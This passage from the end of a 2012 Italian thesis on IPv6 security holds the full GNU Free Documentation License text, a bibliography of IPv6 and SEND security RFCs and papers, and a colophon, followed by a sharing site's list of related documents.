contains a notice placed by the copyright holder saying it can be distributed
under the terms of this License. Such a notice grants a world-wide, royaltyfree license, unlimited in duration, to use that work under the conditions
stated herein. The “Document”, below, refers to any such manual or work.
Any member of the public is a licensee, and is addressed as “you”. You
accept the license if you copy, modify or distribute the work in a way requiring
permission under copyright law.
A “Modified Version” of the Document means any work containing the
Document or a portion of it, either copied verbatim, or with modifications
and/or translated into another language.
A “Secondary Section” is a named appendix or a front-matter section
of the Document that deals exclusively with the relationship of the publishers
or authors of the Document to the Document’s overall subject (or to related matters) and contains nothing that could fall directly within that overall
subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could
be a matter of historical connection with the subject or with related matters,
or of legal, commercial, philosophical, ethical or political position regarding
them.
The “Invariant Sections” are certain Secondary Sections whose titles
are designated, as being those of Invariant Sections, in the notice that says
that the Document is released under this License. If a section does not fit
the above definition of Secondary then it is not allowed to be designated
63
as Invariant. The Document may contain zero Invariant Sections. If the
Document does not identify any Invariant Sections then there are none.
The “Cover Texts” are certain short passages of text that are listed,
as Front-Cover Texts or Back-Cover Texts, in the notice that says that the
Document is released under this License. A Front-Cover Text may be at
most 5 words, and a Back-Cover Text may be at most 25 words.
A “Transparent” copy of the Document means a machine-readable copy,
represented in a format whose specification is available to the general public,
that is suitable for revising the document straightforwardly with generic text
editors or (for images composed of pixels) generic paint programs or (for
drawings) some widely available drawing editor, and that is suitable for input
to text formatters or for automatic translation to a variety of formats suitable
for input to text formatters. A copy made in an otherwise Transparent file
format whose markup, or absence of markup, has been arranged to thwart or
discourage subsequent modification by readers is not Transparent. An image
format is not Transparent if used for any substantial amount of text. A copy
that is not “Transparent” is called “Opaque”.
Examples of suitable formats for Transparent copies include plain ASCII
without markup, Texinfo input format, LaTeX input format, SGML or XML
using a publicly available DTD, and standard-conforming simple HTML,
PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include
proprietary formats that can be read and edited only by proprietary word
processors, SGML or XML for which the DTD and/or processing tools are
not generally available, and the machine-generated HTML, PostScript or
PDF produced by some word processors for output purposes only.
The “Title Page” means, for a printed book, the title page itself, plus
such following pages as are needed to hold, legibly, the material this License
requires to appear in the title page. For works in formats which do not have
any title page as such, “Title Page” means the text near the most prominent
appearance of the work’s title, preceding the beginning of the body of the
text.
The “publisher” means any person or entity that distributes copies of
64
the Document to the public.
A section “Entitled XYZ” means a named subunit of the Document
whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for
a specific section name mentioned below, such as “Acknowledgements”,
“Dedications”, “Endorsements”, or “History”.) To “Preserve the Title” of such a section when you modify the Document means that it remains
a section “Entitled XYZ” according to this definition.
The Document may include Warranty Disclaimers next to the notice
which states that this License applies to the Document. These Warranty
Disclaimers are considered to be included by reference in this License, but
only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this
License.
A.2
Verbatim copying
You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices,
and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to
those of this License. You may not use technical measures to obstruct or
control the reading or further copying of the copies you make or distribute.
However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions
in section 3.
You may also lend copies, under the same conditions stated above, and
you may publicly display copies.
A.3
65
Copying in quantity
If you publish printed copies (or copies in media that commonly have printed
covers) of the Document, numbering more than 100, and the Document’s
license notice requires Cover Texts, you must enclose the copies in covers
that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on
the front cover, and Back-Cover Texts on the back cover. Both covers must
also clearly and legibly identify you as the publisher of these copies. The front
cover must present the full title with all words of the title equally prominent
and visible. You may add other material on the covers in addition. Copying
with changes limited to the covers, as long as they preserve the title of the
Document and satisfy these conditions, can be treated as verbatim copying
in other respects.
If the required texts for either cover are too voluminous to fit legibly,
you should put the first ones listed (as many as fit reasonably) on the actual
cover, and continue the rest onto adjacent pages.
If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent
copy along with each Opaque copy, or state in or with each Opaque copy
a computer-network location from which the general network-using public
has access to download using public-standard network protocols a complete
Transparent copy of the Document, free of added material. If you use the
latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy
will remain thus accessible at the stated location until at least one year after
the last time you distribute an Opaque copy (directly or through your agents
or retailers) of that edition to the public.
It is requested, but not required, that you contact the authors of the
Document well before redistributing any large number of copies, to give them
a chance to provide you with an updated version of the Document.
A.4
66
Modifications
You may copy and distribute a Modified Version of the Document under the
conditions of sections 2 and 3 above, provided that you release the Modified
Version under precisely this License, with the Modified Version filling the
role of the Document, thus licensing distribution and modification of the
Modified Version to whoever possesses a copy of it. In addition, you must
do these things in the Modified Version:
A. Use in the Title Page (and on the covers, if any) a title distinct from that
of the Document, and from those of previous versions (which should, if
there were any, be listed in the History section of the Document). You
may use the same title as a previous version if the original publisher of
that version gives permission.
B. List on the Title Page, as authors, one or more persons or entities
responsible for authorship of the modifications in the Modified Version,
together with at least five of the principal authors of the Document (all
of its principal authors, if it has fewer than five), unless they release
you from this requirement.
C. State on the Title page the name of the publisher of the Modified
Version, as the publisher.
D. Preserve all the copyright notices of the Document.
E. Add an appropriate copyright notice for your modifications adjacent to
the other copyright notices.
F. Include, immediately after the copyright notices, a license notice giving
the public permission to use the Modified Version under the terms of
this License, in the form shown in the Addendum below.
G. Preserve in that license notice the full lists of Invariant Sections and
required Cover Texts given in the Document’s license notice.
H. Include an unaltered copy of this License.
67
I. Preserve the section Entitled “History”, Preserve its Title, and add to
it an item stating at least the title, year, new authors, and publisher of
the Modified Version as given on the Title Page. If there is no section
Entitled “History” in the Document, create one stating the title, year,
authors, and publisher of the Document as given on its Title Page, then
add an item describing the Modified Version as stated in the previous
sentence.
J. Preserve the network location, if any, given in the Document for public
access to a Transparent copy of the Document, and likewise the network
locations given in the Document for previous versions it was based on.
These may be placed in the “History” section. You may omit a network
location for a work that was published at least four years before the
Document itself, or if the original publisher of the version it refers to
gives permission.
K. For any section Entitled “Acknowledgements” or “Dedications”, Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or
dedications given therein.
L. Preserve all the Invariant Sections of the Document, unaltered in their
text and in their titles. Section numbers or the equivalent are not
considered part of the section titles.
M. Delete any section Entitled “Endorsements”. Such a section may not
be included in the Modified Version.
N. Do not retitle any existing section to be Entitled “Endorsements” or
to conflict in title with any Invariant Section.
O. Preserve any Warranty Disclaimers.
If the Modified Version includes new front-matter sections or appendices
that qualify as Secondary Sections and contain no material copied from the
Document, you may at your option designate some or all of these sections
68
as invariant. To do this, add their titles to the list of Invariant Sections in
the Modified Version’s license notice. These titles must be distinct from any
other section titles.
You may add a section Entitled “Endorsements”, provided it contains
nothing but endorsements of your Modified Version by various parties—for
example, statements of peer review or that the text has been approved by
an organization as the authoritative definition of a standard.
You may add a passage of up to five words as a Front-Cover Text, and a
passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover
Texts in the Modified Version. Only one passage of Front-Cover Text and
one of Back-Cover Text may be added by (or through arrangements made
by) any one entity. If the Document already includes a cover text for the
same cover, previously added by you or by arrangement made by the same
entity you are acting on behalf of, you may not add another; but you may
replace the old one, on explicit permission from the previous publisher that
added the old one.
The author(s) and publisher(s) of the Document do not by this License
give permission to use their names for publicity for or to assert or imply
endorsement of any Modified Version.
A.5
Combining documents
You may combine the Document with other documents released under this
License, under the terms defined in section 4 above for modified versions,
provided that you include in the combination all of the Invariant Sections
of all of the original documents, unmodified, and list them all as Invariant
Sections of your combined work in its license notice, and that you preserve
all their Warranty Disclaimers.
The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there
are multiple Invariant Sections with the same name but different contents,
make the title of each such section unique by adding at the end of it, in
parentheses, the name of the original author or publisher of that section if
69
known, or else a unique number. Make the same adjustment to the section
titles in the list of Invariant Sections in the license notice of the combined
work.
In the combination, you must combine any sections Entitled “History”
in the various original documents, forming one section Entitled “History”;
likewise combine any sections Entitled “Acknowledgements”, and any sections Entitled “Dedications”. You must delete all sections Entitled “Endorsements”.
A.6
Collections of documents
You may make a collection consisting of the Document and other documents
released under this License, and replace the individual copies of this License
in the various documents with a single copy that is included in the collection,
provided that you follow the rules of this License for verbatim copying of each
of the documents in all other respects.
You may extract a single document from such a collection, and distribute
it individually under this License, provided you insert a copy of this License
into the extracted document, and follow this License in all other respects
regarding verbatim copying of that document.
A.7
Aggregation with independent works
A compilation of the Document or its derivatives with other separate and
independent documents or works, in or on a volume of a storage or distribution medium, is called an “aggregate” if the copyright resulting from the
compilation is not used to limit the legal rights of the compilation’s users beyond what the individual works permit. When the Document is included in
an aggregate, this License does not apply to the other works in the aggregate
which are not themselves derivative works of the Document.
If the Cover Text requirement of section 3 is applicable to these copies
of the Document, then if the Document is less than one half of the entire
70
aggregate, the Document’s Cover Texts may be placed on covers that bracket
the Document within the aggregate, or the electronic equivalent of covers if
the Document is in electronic form. Otherwise they must appear on printed
covers that bracket the whole aggregate.
A.8
Translation
Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant
Sections with translations requires special permission from their copyright
holders, but you may include translations of some or all Invariant Sections in
addition to the original versions of these Invariant Sections. You may include
a translation of this License, and all the license notices in the Document, and
any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and
disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will
prevail.
If a section in the Document is Entitled “Acknowledgements”, “Dedications”, or “History”, the requirement (section 4) to Preserve its Title
(section 1) will typically require changing the actual title.
A.9
Termination
You may not copy, modify, sublicense, or distribute the Document except
as expressly provided under this License. Any attempt otherwise to copy,
modify, sublicense, or distribute it is void, and will automatically terminate
your rights under this License.
However, if you cease all violation of this License, then your license from
a particular copyright holder is reinstated (a) provisionally, unless and until
the copyright holder explicitly and finally terminates your license, and (b)
71
permanently, if the copyright holder fails to notify you of the violation by
some reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is reinstated
permanently if the copyright holder notifies you of the violation by some
reasonable means, this is the first time you have received notice of violation
of this License (for any work) from that copyright holder, and you cure the
violation prior to 30 days after your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under this
License. If your rights have been terminated and not permanently reinstated,
receipt of a copy of some or all of the same material does not give you any
rights to use it.
A.10
Future revisions of this license
The Free Software Foundation may publish new, revised versions of the GNU
Free Documentation License from time to time. Such new versions will be
similar in spirit to the present version, but may differ in detail to address
new problems or concerns. See http://www.gnu.org/copyleft/.
Each version of the License is given a distinguishing version number. If
the Document specifies that a particular numbered version of this License “or
any later version” applies to it, you have the option of following the terms
and conditions either of that specified version or of any later version that
has been published (not as a draft) by the Free Software Foundation. If the
Document does not specify a version number of this License, you may choose
any version ever published (not as a draft) by the Free Software Foundation.
If the Document specifies that a proxy can decide which future versions of
this License can be used, that proxy’s public statement of acceptance of a
version permanently authorizes you to choose that version for the Document.
A.11
72
Relicensing
“Massive Multiauthor Collaboration Site” (or “MMC Site”) means any World
Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody
can edit is an example of such a server. A “Massive Multiauthor Collaboration” (or “MMC”) contained in the site means any set of copyrightable
works thus published on the MMC site.
“CC-BY-SA” means the Creative Commons Attribution-Share Alike 3.0
license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California,
as well as future copyleft versions of that license published by that same
organization.
“Incorporate” means to publish or republish a Document, in whole or in
part, as part of another Document.
An MMC is “eligible for relicensing” if it is licensed under this License,
and if all works that were first published under this License somewhere other
than this MMC, and subsequently incorporated in whole or in part into
the MMC, (1) had no cover texts or invariant sections, and (2) were thus
incorporated prior to November 1, 2008.
The operator of an MMC Site may republish an MMC contained in the
site under CC-BY-SA on the same site at any time before August 1, 2009,
provided the MMC is eligible for relicensing.
73
ADDENDUM: How to use this License for your
documents
To use this License in a document you have written, include a copy of the
License in the document and put the following copyright and license notices
just after the title page:
c YEAR YOUR NAME. Permission is granted to
Copyright copy, distribute and/or modify this document under the terms of
the GNU Free Documentation License, Version 1.3 or any later
version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts.
A copy of the license is included in the section entitled “GNU Free
Documentation License”.
If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts,
replace the “with . . . Texts.” line with this:
with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts
being LIST.
If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use
in free software.
Bibliografia
[1]
Charles M. Kozierok, TCP/IP GUIDE, no starch press, San
Francisco, 2005
[2]
Andrew S. Tanenbaum, Computer Networks 4th Edition,
Pearson Education, 2003
[3]
Gaeil An, Kiyoung Kim, Jongsoo Jang, Yonghee Jeon , Analysis of SEND Protocol through Implementation and Simulation,
2007
[4]
S. Deering, R. Hinden, Internet Protocol, Version 6 (IPv6)
Specification, RFC 2460, Dicembre 1998
[5]
Narten T., Nordmark, E. and W. Simpson, Neighbor Discovery
for IP Version 6 (IPv6), RFC 2461, Dicembre 1998
[6]
Thomson, S. and T. Narten, IPv6 Stateless Address
Autoconfiguration, RFC 2462, Dicembre 1998
[7]
Conta, A. and S. Deering, Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 (IPv6)
Specification, RFC 2463, Dicembre 1998
[8]
J. Arkko, J. Kempf, B. Zill, SEcure Neighbor Discovery
(SEND), RFC 3971, Marzo 2005.
[9]
R. Hinden, S. Deering, Internet Protocol Version 6 (IPv6)
Addressing Architecture, RFC 3513, Aprile 2003
74
BIBLIOGRAFIA
75
[10]
S. Kent, K. Seo, Security Architecture for the Internet Protocol,
RFC 4301, Dicembre 2005
[11]
S. Kent, R. Atkinson, IP Authentication Header, RFC 2402,
Novembre 1998
[12]
S. Kent, R. Atkinson, IP Encapsulating Security Payload
(ESP), RFC 2406, Novembre 1998
[13]
D. Harkins, D. Carrel, The Internet Key Exchange (IKE), RFC
2409, Novembre 1998
[14]
T. Chown, S. Venaas, Rogue IPv6 Router Advertisement
Problem Statement, RFC 6104, Febbraio 2011
[15]
E. Levy-Abegnoli, G. Van De Velde, C. Popoviciu, J. Mohacsi,
IPv6 Router Advertisement Guard, RFC 6105, Febbraio 2011
[16]
F. Gont, IPv6 Router Advertisement Guard (RA-Guard) Evasion, draft-gont-v6ops-ra-guard-evasion-01, Internet-Draft, 8
Giugno 2011
[17]
T. P. Nikander, J. Kempf, E. Nordmark, IPv6 Neighbor Discovery (ND) Trust Models and Threats, RFC 3756, Maggio
2004
[18]
D. Yang, X. Song, Q. Guo, Security IPv6, 2010
[19]
A. Vives, J. Palet, IPv6 Distribuited Security:
Statement, 2005
[20]
Abdur Rahim Choudhary, In-depth Analysis of IPv6 Security
Posture, 2009
[21]
A. Carp, A. Soare, R. Rughinis, Pratical Analysis of IPv6
Security Auditing Methods, 2010
[22]
X. Yang, T. Ma, Y. Shi, Typical DoS/DDoS threats under
IPv6, 2007
Problem
BIBLIOGRAFIA
76
[23]
H. Oh, K. Chae, H. Bang, J. Na, Comparisons analysis of Security Vulnerabilities for Security Enforcement in IPv4/IPv6,
2006
[24]
Cynthia E. Martin, Jeffrey H. Dunn, Internet Protocol Version
6 (IPv6) Protocol Security Assessment, 2007
Questa tesi è stata redatta utilizzando LATEX e GNU Emacs
c Rocco Folino 9 settembre 2012
77

Studio, analisi e valutazione della sicurezza su IPv6 e

Transcript

Documenti analoghi

Checchi Pierluigi - Policlinico Tor Vergata

IPv6, qui si dorme - The New Blog Times

Titel IPv6 nella tua rete: esperienze di vita reale con FRITZ!Box

Rapporto sullo stato di Internet | Infografica sull`Europa Q1

Visualizza ora

Curriculum Vitae di Lorenzo Colitti

Scarica

IPv6 - GARR